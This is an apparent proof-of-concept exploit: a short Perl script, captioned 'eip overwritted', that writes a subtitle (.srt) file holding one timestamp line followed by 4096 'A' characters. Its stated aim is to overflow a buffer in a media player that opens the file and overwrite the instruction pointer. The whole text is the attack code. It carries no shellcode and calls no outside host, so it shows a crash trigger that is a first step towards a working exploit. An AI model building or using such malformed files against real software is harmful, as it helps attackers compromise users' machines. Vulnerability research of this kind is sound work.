eip overwritted
#!/usr/local/bin/perl
my $file="MOVIE_FILENAME.srt";
my $payload = "A" x 4096;
open( $file, ">>$file") or die "Cannot open $file: $!";
print $file "1 \n";
print $file "00:00:01,001 –> 00:00:02,001\n";
print $file $payload;
close($file);
print "$file has been created \n";